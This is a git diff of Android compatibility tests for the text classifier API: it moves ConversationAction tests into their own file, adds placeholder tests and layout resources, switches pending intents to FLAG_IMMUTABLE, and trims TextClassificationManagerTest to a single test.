--- a/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
+++ b/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsQueryTextClassifierServiceActivity",
     defaults: ["cts_defaults"],
@@ -29,4 +25,5 @@
         "mts"
     ],
     srcs: ["src/**/*.java"],
+    min_sdk_version: "29",
 }
diff --git a/tests/tests/textclassifier/res/layout/main.xml b/tests/tests/textclassifier/res/layout/main.xml
new file mode 100644
index 0000000..fe6f06b
--- /dev/null
+++ b/tests/tests/textclassifier/res/layout/main.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <TextView
+        android:id="@+id/textview"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"/>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/textclassifier/res/values/styles.xml b/tests/tests/textclassifier/res/values/styles.xml
new file mode 100644
index 0000000..448457c
--- /dev/null
+++ b/tests/tests/textclassifier/res/values/styles.xml
@@ -0,0 +1,21 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <style name="NoAnimation" parent="android:Theme.Light">
+        <item name="android:windowAnimationStyle">@null</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java
new file mode 100644
index 0000000..bd66fca
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.PendingIntent;
+import android.app.RemoteAction;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.view.textclassifier.ConversationAction;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ConversationActionTest {
+    private static final String TEXT = "TEXT";
+    private static final float FLOAT_TOLERANCE = 0.01f;
+    private static final PendingIntent PENDING_INTENT = PendingIntent.getActivity(
+            InstrumentationRegistry.getTargetContext(),
+            0,
+            new Intent(),
+            PendingIntent.FLAG_IMMUTABLE);
+    private static final RemoteAction REMOTE_ACTION = new RemoteAction(
+            Icon.createWithData(new byte[0], 0, 0),
+            TEXT,
+            TEXT,
+            PENDING_INTENT);
+    private static final Bundle EXTRAS = new Bundle();
+    static {
+        EXTRAS.putString(TEXT, TEXT);
+    }
+
+    @Test
+    public void testConversationAction_minimal() {
+        ConversationAction conversationAction =
+                new ConversationAction.Builder(
+                        ConversationAction.TYPE_CALL_PHONE)
+                        .build();
+
+        ConversationAction recovered =
+                parcelizeDeparcelize(conversationAction,
+                        ConversationAction.CREATOR);
+
+        assertMinimalConversationAction(conversationAction);
+        assertMinimalConversationAction(recovered);
+    }
+
+    @Test
+    public void testConversationAction_full() {
+        ConversationAction conversationAction =
+                new ConversationAction.Builder(
+                        ConversationAction.TYPE_CALL_PHONE)
+                        .setConfidenceScore(1.0f)
+                        .setTextReply(TEXT)
+                        .setAction(REMOTE_ACTION)
+                        .setExtras(EXTRAS)
+                        .build();
+
+        ConversationAction recovered =
+                parcelizeDeparcelize(conversationAction,
+                        ConversationAction.CREATOR);
+
+        assertFullConversationAction(conversationAction);
+        assertFullConversationAction(recovered);
+    }
+
+    private static void assertMinimalConversationAction(
+            ConversationAction conversationAction) {
+        assertThat(conversationAction.getAction()).isNull();
+        assertThat(conversationAction.getConfidenceScore()).isWithin(FLOAT_TOLERANCE).of(0.0f);
+        assertThat(conversationAction.getType()).isEqualTo(ConversationAction.TYPE_CALL_PHONE);
+    }
+
+    private static void assertFullConversationAction(
+            ConversationAction conversationAction) {
+        assertThat(conversationAction.getAction().getTitle()).isEqualTo(TEXT);
+        assertThat(conversationAction.getConfidenceScore()).isWithin(FLOAT_TOLERANCE).of(1.0f);
+        assertThat(conversationAction.getType()).isEqualTo(ConversationAction.TYPE_CALL_PHONE);
+        assertThat(conversationAction.getTextReply()).isEqualTo(TEXT);
+        assertThat(conversationAction.getExtras().keySet()).containsExactly(TEXT);
+    }
+
+    private static <T extends Parcelable> T parcelizeDeparcelize(
+            T parcelable, Parcelable.Creator<T> creator) {
+        Parcel parcel = Parcel.obtain();
+        parcelable.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        return creator.createFromParcel(parcel);
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionsTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionsTest.java
index 3434aba..05bdc59 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionsTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionsTest.java
@@ -15,14 +15,9 @@
  */
 package android.view.textclassifier.cts;
 
-
 import static com.google.common.truth.Truth.assertThat;
 
-import android.app.PendingIntent;
 import android.app.Person;
-import android.app.RemoteAction;
-import android.content.Intent;
-import android.graphics.drawable.Icon;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.os.Parcelable;
@@ -30,7 +25,6 @@
 import android.view.textclassifier.ConversationActions;
 import android.view.textclassifier.TextClassifier;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -41,9 +35,7 @@
 import java.time.ZoneId;
 import java.time.ZonedDateTime;
 import java.util.Arrays;
-import java.util.Collection;
 import java.util.Collections;
-import java.util.List;
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
@@ -53,18 +45,7 @@
     private static final Person PERSON = new Person.Builder().setKey(TEXT).build();
     private static final ZonedDateTime TIME =
             ZonedDateTime.ofInstant(Instant.now(), ZoneId.systemDefault());
-    private static final float FLOAT_TOLERANCE = 0.01f;
-
     private static final Bundle EXTRAS = new Bundle();
-    private static final PendingIntent PENDING_INTENT = PendingIntent.getActivity(
-            InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
-
-    private static final RemoteAction REMOTE_ACTION = new RemoteAction(
-            Icon.createWithData(new byte[0], 0, 0),
-            TEXT,
-            TEXT,
-            PENDING_INTENT);
-
     static {
         EXTRAS.putString(TEXT, TEXT);
     }
@@ -98,53 +79,6 @@
     }
 
     @Test
-    public void testTypeConfig_full() {
-        TextClassifier.EntityConfig typeConfig =
-                new TextClassifier.EntityConfig.Builder()
-                        .setIncludedTypes(
-                                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))
-                        .setExcludedTypes(
-                                Collections.singletonList(ConversationAction.TYPE_CALL_PHONE))
-                        .build();
-
-        TextClassifier.EntityConfig recovered =
-                parcelizeDeparcelize(typeConfig, TextClassifier.EntityConfig.CREATOR);
-
-        assertFullTypeConfig(typeConfig);
-        assertFullTypeConfig(recovered);
-    }
-
-    @Test
-    public void testTypeConfig_full_notIncludeTypesFromTextClassifier() {
-        TextClassifier.EntityConfig typeConfig =
-                new TextClassifier.EntityConfig.Builder()
-                        .includeTypesFromTextClassifier(false)
-                        .setIncludedTypes(
-                                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))
-                        .setExcludedTypes(
-                                Collections.singletonList(ConversationAction.TYPE_CALL_PHONE))
-                        .build();
-
-        TextClassifier.EntityConfig recovered =
-                parcelizeDeparcelize(typeConfig, TextClassifier.EntityConfig.CREATOR);
-
-        assertFullTypeConfig_notIncludeTypesFromTextClassifier(typeConfig);
-        assertFullTypeConfig_notIncludeTypesFromTextClassifier(recovered);
-    }
-
-    @Test
-    public void testTypeConfig_minimal() {
-        TextClassifier.EntityConfig typeConfig =
-                new TextClassifier.EntityConfig.Builder().build();
-
-        TextClassifier.EntityConfig recovered =
-                parcelizeDeparcelize(typeConfig, TextClassifier.EntityConfig.CREATOR);
-
-        assertMinimalTypeConfig(typeConfig);
-        assertMinimalTypeConfig(recovered);
-    }
-
-    @Test
     public void testRequest_minimal() {
         ConversationActions.Message message =
                 new ConversationActions.Message.Builder(PERSON)
@@ -189,39 +123,7 @@
         assertFullRequest(recovered);
     }
 
-    @Test
-    public void testConversationAction_minimal() {
-        ConversationAction conversationAction =
-                new ConversationAction.Builder(
-                        ConversationAction.TYPE_CALL_PHONE)
-                        .build();
 
-        ConversationAction recovered =
-                parcelizeDeparcelize(conversationAction,
-                        ConversationAction.CREATOR);
-
-        assertMinimalConversationAction(conversationAction);
-        assertMinimalConversationAction(recovered);
-    }
-
-    @Test
-    public void testConversationAction_full() {
-        ConversationAction conversationAction =
-                new ConversationAction.Builder(
-                        ConversationAction.TYPE_CALL_PHONE)
-                        .setConfidenceScore(1.0f)
-                        .setTextReply(TEXT)
-                        .setAction(REMOTE_ACTION)
-                        .setExtras(EXTRAS)
-                        .build();
-
-        ConversationAction recovered =
-                parcelizeDeparcelize(conversationAction,
-                        ConversationAction.CREATOR);
-
-        assertFullConversationAction(conversationAction);
-        assertFullConversationAction(recovered);
-    }
 
     @Test
     public void testConversationActions_full() {
@@ -257,7 +159,7 @@
         assertMinimalConversationActions(recovered);
     }
 
-    private void assertFullMessage(ConversationActions.Message message) {
+    private static void assertFullMessage(ConversationActions.Message message) {
         assertThat(message.getText().toString()).isEqualTo(TEXT);
         assertThat(message.getAuthor()).isEqualTo(PERSON);
         assertThat(message.getExtras().keySet()).containsExactly(TEXT);
@@ -270,45 +172,7 @@
         assertThat(message.getReferenceTime()).isNull();
     }
 
-    private void assertFullTypeConfig(TextClassifier.EntityConfig typeConfig) {
-        List<String> extraTypesFromTextClassifier = Arrays.asList(
-                ConversationAction.TYPE_CALL_PHONE,
-                ConversationAction.TYPE_CREATE_REMINDER);
-
-        Collection<String> resolvedTypes =
-                typeConfig.resolveEntityListModifications(extraTypesFromTextClassifier);
-
-        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isTrue();
-        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList()))
-                .containsExactly(ConversationAction.TYPE_OPEN_URL);
-        assertThat(resolvedTypes).containsExactly(
-                ConversationAction.TYPE_OPEN_URL, ConversationAction.TYPE_CREATE_REMINDER);
-    }
-
-    private void assertFullTypeConfig_notIncludeTypesFromTextClassifier(
-            TextClassifier.EntityConfig typeConfig) {
-        List<String> extraTypesFromTextClassifier = Arrays.asList(
-                ConversationAction.TYPE_CALL_PHONE,
-                ConversationAction.TYPE_CREATE_REMINDER);
-
-        Collection<String> resolvedTypes =
-                typeConfig.resolveEntityListModifications(extraTypesFromTextClassifier);
-
-        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isFalse();
-        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList()))
-                .containsExactly(ConversationAction.TYPE_OPEN_URL);
-        assertThat(resolvedTypes).containsExactly(ConversationAction.TYPE_OPEN_URL);
-    }
-
-    private void assertMinimalTypeConfig(TextClassifier.EntityConfig typeConfig) {
-        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isTrue();
-        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList())).isEmpty();
-        assertThat(typeConfig.resolveEntityListModifications(
-                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))).containsExactly(
-                ConversationAction.TYPE_OPEN_URL);
-    }
-
-    private void assertMinimalRequest(ConversationActions.Request request) {
+    private static void assertMinimalRequest(ConversationActions.Request request) {
         assertThat(request.getConversation()).hasSize(1);
         assertThat(request.getConversation().get(0).getText().toString()).isEqualTo(TEXT);
         assertThat(request.getConversation().get(0).getAuthor()).isEqualTo(PERSON);
@@ -318,7 +182,7 @@
         assertThat(request.getExtras().size()).isEqualTo(0);
     }
 
-    private void assertFullRequest(ConversationActions.Request request) {
+    private static void assertFullRequest(ConversationActions.Request request) {
         assertThat(request.getConversation()).hasSize(1);
         assertThat(request.getConversation().get(0).getText().toString()).isEqualTo(TEXT);
         assertThat(request.getConversation().get(0).getAuthor()).isEqualTo(PERSON);
@@ -328,37 +192,21 @@
         assertThat(request.getExtras().keySet()).containsExactly(TEXT);
     }
 
-    private void assertMinimalConversationAction(
-            ConversationAction conversationAction) {
-        assertThat(conversationAction.getAction()).isNull();
-        assertThat(conversationAction.getConfidenceScore()).isWithin(FLOAT_TOLERANCE).of(0.0f);
-        assertThat(conversationAction.getType()).isEqualTo(ConversationAction.TYPE_CALL_PHONE);
-    }
-
-    private void assertFullConversationAction(
-            ConversationAction conversationAction) {
-        assertThat(conversationAction.getAction().getTitle()).isEqualTo(TEXT);
-        assertThat(conversationAction.getConfidenceScore()).isWithin(FLOAT_TOLERANCE).of(1.0f);
-        assertThat(conversationAction.getType()).isEqualTo(ConversationAction.TYPE_CALL_PHONE);
-        assertThat(conversationAction.getTextReply()).isEqualTo(TEXT);
-        assertThat(conversationAction.getExtras().keySet()).containsExactly(TEXT);
-    }
-
-    private void assertMinimalConversationActions(ConversationActions conversationActions) {
+    private static void assertMinimalConversationActions(ConversationActions conversationActions) {
         assertThat(conversationActions.getConversationActions()).hasSize(1);
         assertThat(conversationActions.getConversationActions().get(0).getType())
                 .isEqualTo(ConversationAction.TYPE_CALL_PHONE);
         assertThat(conversationActions.getId()).isNull();
     }
 
-    private void assertFullConversationActions(ConversationActions conversationActions) {
+    private static void assertFullConversationActions(ConversationActions conversationActions) {
         assertThat(conversationActions.getConversationActions()).hasSize(1);
         assertThat(conversationActions.getConversationActions().get(0).getType())
                 .isEqualTo(ConversationAction.TYPE_CALL_PHONE);
         assertThat(conversationActions.getId()).isEqualTo(ID);
     }
 
-    private <T extends Parcelable> T parcelizeDeparcelize(
+    private static <T extends Parcelable> T parcelizeDeparcelize(
             T parcelable, Parcelable.Creator<T> creator) {
         Parcel parcel = Parcel.obtain();
         parcelable.writeToParcel(parcel, 0);
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
index 909f7de..d3d19bb 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
@@ -94,7 +94,12 @@
             TextSelection.Request request, CancellationSignal cancellationSignal,
             Callback<TextSelection> callback) {
         handleRequest(sessionId, "onSuggestSelection");
-        callback.onSuccess(TextClassifier.NO_OP.suggestSelection(request));
+        TextSelection.Builder textSelection =
+                new TextSelection.Builder(request.getStartIndex(), request.getEndIndex());
+        if (request.shouldIncludeTextClassification()) {
+            textSelection.setTextClassification(createTextClassification());
+        }
+        callback.onSuccess(textSelection.build());
     }
 
     @Override
@@ -102,14 +107,21 @@
             TextClassification.Request request, CancellationSignal cancellationSignal,
             Callback<TextClassification> callback) {
         handleRequest(sessionId, "onClassifyText");
-        final TextClassification classification = new TextClassification.Builder()
+        callback.onSuccess(createTextClassification());
+    }
+
+    private TextClassification createTextClassification() {
+        return new TextClassification.Builder()
                 .addAction(new RemoteAction(
                         ICON_RES,
                         "Test Action",
                         "Test Action",
-                        PendingIntent.getActivity(this, 0, new Intent(), 0)))
+                        PendingIntent.getActivity(
+                                this,
+                                0,
+                                new Intent(),
+                                PendingIntent.FLAG_IMMUTABLE)))
                 .build();
-        callback.onSuccess(classification);
     }
 
     @Override
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java
new file mode 100644
index 0000000..72550c4
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SelectionEventTest {
+
+    @Test
+    public void testSelectionEvent_placeholder() {
+        // TODO: add tests for SelectionEvent
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationContextTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationContextTest.java
new file mode 100644
index 0000000..d03f03c
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationContextTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextClassificationContextTest {
+
+    @Test
+    public void testTextClassificationContext_placeholder() {
+        // TODO: add tests for TextClassificationContext
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index bcc3870..c76de62 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -16,141 +16,31 @@
 
 package android.view.textclassifier.cts;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.mock;
 
-import android.icu.util.ULocale;
-import android.os.Bundle;
-import android.os.LocaleList;
-import android.service.textclassifier.TextClassifierService;
-import android.view.textclassifier.ConversationAction;
-import android.view.textclassifier.ConversationActions;
-import android.view.textclassifier.SelectionEvent;
-import android.view.textclassifier.TextClassification;
-import android.view.textclassifier.TextClassificationContext;
 import android.view.textclassifier.TextClassificationManager;
 import android.view.textclassifier.TextClassifier;
-import android.view.textclassifier.TextClassifierEvent;
-import android.view.textclassifier.TextLanguage;
-import android.view.textclassifier.TextLinks;
-import android.view.textclassifier.TextSelection;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
-import com.google.common.collect.Range;
-
-import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
 
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
 
 @SmallTest
-@RunWith(Parameterized.class)
+@RunWith(AndroidJUnit4.class)
 public class TextClassificationManagerTest {
-
-    private static final String CURRENT = "current";
-    private static final String SESSION = "session";
-    private static final String DEFAULT = "default";
-    private static final String NO_OP = "no_op";
-
-    @Parameterized.Parameters(name = "{0}")
-    public static Iterable<Object> textClassifierTypes() {
-        return Arrays.asList(CURRENT, SESSION, DEFAULT, NO_OP);
-    }
-
-    @Parameterized.Parameter
-    public String mTextClassifierType;
-
-    private static final String BUNDLE_KEY = "key";
-    private static final String BUNDLE_VALUE = "value";
-    private static final Bundle BUNDLE = new Bundle();
-    static {
-        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
-    }
-    private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
-    private static final int START = 1;
-    private static final int END = 3;
-    // This text has lots of things that are probably entities in many cases.
-    private static final String TEXT = "An email address is test@example.com. A phone number"
-            + " might be +12122537077. Somebody lives at 123 Main Street, Mountain View, CA,"
-            + " and there's good stuff at https://www.android.com :)";
-    private static final TextSelection.Request TEXT_SELECTION_REQUEST =
-            new TextSelection.Request.Builder(TEXT, START, END)
-                    .setDefaultLocales(LOCALES)
-                    .build();
-    private static final TextClassification.Request TEXT_CLASSIFICATION_REQUEST =
-            new TextClassification.Request.Builder(TEXT, START, END)
-                    .setDefaultLocales(LOCALES)
-                    .build();
-    private static final TextLanguage.Request TEXT_LANGUAGE_REQUEST =
-            new TextLanguage.Request.Builder(TEXT)
-                    .setExtras(BUNDLE)
-                    .build();
-    private static final ConversationActions.Message FIRST_MESSAGE =
-            new ConversationActions.Message.Builder(ConversationActions.Message.PERSON_USER_SELF)
-                    .setText(TEXT)
-                    .build();
-    private static final ConversationActions.Message SECOND_MESSAGE =
-            new ConversationActions.Message.Builder(ConversationActions.Message.PERSON_USER_OTHERS)
-                    .setText(TEXT)
-                    .build();
-    private static final ConversationActions.Request CONVERSATION_ACTIONS_REQUEST =
-            new ConversationActions.Request.Builder(
-                    Arrays.asList(FIRST_MESSAGE, SECOND_MESSAGE)).build();
-
     private TextClassificationManager mManager;
-    private TextClassifier mClassifier;
 
     @Before
     public void setup() {
         mManager = InstrumentationRegistry.getTargetContext()
                 .getSystemService(TextClassificationManager.class);
         mManager.setTextClassifier(null); // Resets the classifier.
-        if (mTextClassifierType.equals(CURRENT)) {
-            mClassifier = mManager.getTextClassifier();
-        } else if (mTextClassifierType.equals(SESSION)) {
-            mClassifier = mManager.createTextClassificationSession(
-                    new TextClassificationContext.Builder(
-                            InstrumentationRegistry.getTargetContext().getPackageName(),
-                            TextClassifier.WIDGET_TYPE_TEXTVIEW)
-                            .build());
-        } else if (mTextClassifierType.equals(NO_OP)) {
-            mClassifier = TextClassifier.NO_OP;
-        } else {
-            mClassifier = TextClassifierService.getDefaultTextClassifierImplementation(
-                    InstrumentationRegistry.getTargetContext());
-        }
-    }
-
-    @After
-    public void tearDown() {
-        mClassifier.destroy();
-    }
-
-    @Test
-    public void testTextClassifierDestroy() {
-        mClassifier.destroy();
-        if (mTextClassifierType.equals(SESSION)) {
-            assertEquals(true, mClassifier.isDestroyed());
-        }
-    }
-
-    @Test
-    public void testGetMaxGenerateLinksTextLength() {
-        // TODO(b/143249163): Verify the value get from TextClassificationConstants
-        assertTrue(mClassifier.getMaxGenerateLinksTextLength() >= 0);
     }
 
     @Test
@@ -159,162 +49,4 @@
         mManager.setTextClassifier(classifier);
         assertEquals(classifier, mManager.getTextClassifier());
     }
-
-    @Test
-    public void testSmartSelection() {
-        assertValidResult(mClassifier.suggestSelection(TEXT_SELECTION_REQUEST));
-    }
-
-    @Test
-    public void testSuggestSelectionWith4Param() {
-        assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
-    }
-
-    @Test
-    public void testClassifyText() {
-        assertValidResult(mClassifier.classifyText(TEXT_CLASSIFICATION_REQUEST));
-    }
-
-    @Test
-    public void testClassifyTextWith4Param() {
-        assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
-    }
-
-    @Test
-    public void testGenerateLinks() {
-        assertValidResult(mClassifier.generateLinks(new TextLinks.Request.Builder(TEXT).build()));
-    }
-
-    @Test
-    public void testSuggestConversationActions() {
-        ConversationActions conversationActions =
-                mClassifier.suggestConversationActions(CONVERSATION_ACTIONS_REQUEST);
-
-        assertValidResult(conversationActions);
-    }
-
-    @Test
-    public void testResolveEntityListModifications_only_hints() {
-        TextClassifier.EntityConfig entityConfig = TextClassifier.EntityConfig.createWithHints(
-                Arrays.asList("some_hint"));
-        assertEquals(1, entityConfig.getHints().size());
-        assertTrue(entityConfig.getHints().contains("some_hint"));
-        assertEquals(new HashSet<String>(Arrays.asList("foo", "bar")),
-                entityConfig.resolveEntityListModifications(Arrays.asList("foo", "bar")));
-    }
-
-    @Test
-    public void testResolveEntityListModifications_include_exclude() {
-        TextClassifier.EntityConfig entityConfig = TextClassifier.EntityConfig.create(
-                Arrays.asList("some_hint"),
-                Arrays.asList("a", "b", "c"),
-                Arrays.asList("b", "d", "x"));
-        assertEquals(1, entityConfig.getHints().size());
-        assertTrue(entityConfig.getHints().contains("some_hint"));
-        assertEquals(new HashSet(Arrays.asList("a", "c", "w")),
-                new HashSet(entityConfig.resolveEntityListModifications(
-                        Arrays.asList("c", "w", "x"))));
-    }
-
-    @Test
-    public void testResolveEntityListModifications_explicit() {
-        TextClassifier.EntityConfig entityConfig =
-                TextClassifier.EntityConfig.createWithExplicitEntityList(Arrays.asList("a", "b"));
-        assertEquals(Collections.EMPTY_LIST, entityConfig.getHints());
-        assertEquals(new HashSet<String>(Arrays.asList("a", "b")),
-                entityConfig.resolveEntityListModifications(Arrays.asList("w", "x")));
-    }
-
-    @Test
-    public void testOnSelectionEvent() {
-        // Doesn't crash.
-        mClassifier.onSelectionEvent(
-                SelectionEvent.createSelectionStartedEvent(SelectionEvent.INVOCATION_MANUAL, 0));
-    }
-
-    @Test
-    public void testOnTextClassifierEvent() {
-        // Doesn't crash.
-        mClassifier.onTextClassifierEvent(
-                new TextClassifierEvent.ConversationActionsEvent.Builder(
-                        TextClassifierEvent.TYPE_SMART_ACTION)
-                        .build());
-    }
-
-    @Test
-    public void testLanguageDetection() {
-        assertValidResult(mClassifier.detectLanguage(TEXT_LANGUAGE_REQUEST));
-    }
-
-    @Test(expected = RuntimeException.class)
-    public void testLanguageDetection_nullRequest() {
-        assertValidResult(mClassifier.detectLanguage(null));
-    }
-
-    private static void assertValidResult(TextSelection selection) {
-        assertNotNull(selection);
-        assertTrue(selection.getSelectionStartIndex() >= 0);
-        assertTrue(selection.getSelectionEndIndex() > selection.getSelectionStartIndex());
-        assertTrue(selection.getEntityCount() >= 0);
-        for (int i = 0; i < selection.getEntityCount(); i++) {
-            final String entity = selection.getEntity(i);
-            assertNotNull(entity);
-            final float confidenceScore = selection.getConfidenceScore(entity);
-            assertTrue(confidenceScore >= 0);
-            assertTrue(confidenceScore <= 1);
-        }
-    }
-
-    private static void assertValidResult(TextClassification classification) {
-        assertNotNull(classification);
-        assertTrue(classification.getEntityCount() >= 0);
-        for (int i = 0; i < classification.getEntityCount(); i++) {
-            final String entity = classification.getEntity(i);
-            assertNotNull(entity);
-            final float confidenceScore = classification.getConfidenceScore(entity);
-            assertTrue(confidenceScore >= 0);
-            assertTrue(confidenceScore <= 1);
-        }
-        assertNotNull(classification.getActions());
-    }
-
-    private static void assertValidResult(TextLinks links) {
-        assertNotNull(links);
-        for (TextLinks.TextLink link : links.getLinks()) {
-            assertTrue(link.getEntityCount() > 0);
-            assertTrue(link.getStart() >= 0);
-            assertTrue(link.getStart() <= link.getEnd());
-            for (int i = 0; i < link.getEntityCount(); i++) {
-                String entityType = link.getEntity(i);
-                assertNotNull(entityType);
-                final float confidenceScore = link.getConfidenceScore(entityType);
-                assertTrue(confidenceScore >= 0);
-                assertTrue(confidenceScore <= 1);
-            }
-        }
-    }
-
-    private static void assertValidResult(TextLanguage language) {
-        assertNotNull(language);
-        assertNotNull(language.getExtras());
-        assertTrue(language.getLocaleHypothesisCount() >= 0);
-        for (int i = 0; i < language.getLocaleHypothesisCount(); i++) {
-            final ULocale locale = language.getLocale(i);
-            assertNotNull(locale);
-            final float confidenceScore = language.getConfidenceScore(locale);
-            assertTrue(confidenceScore >= 0);
-            assertTrue(confidenceScore <= 1);
-        }
-    }
-
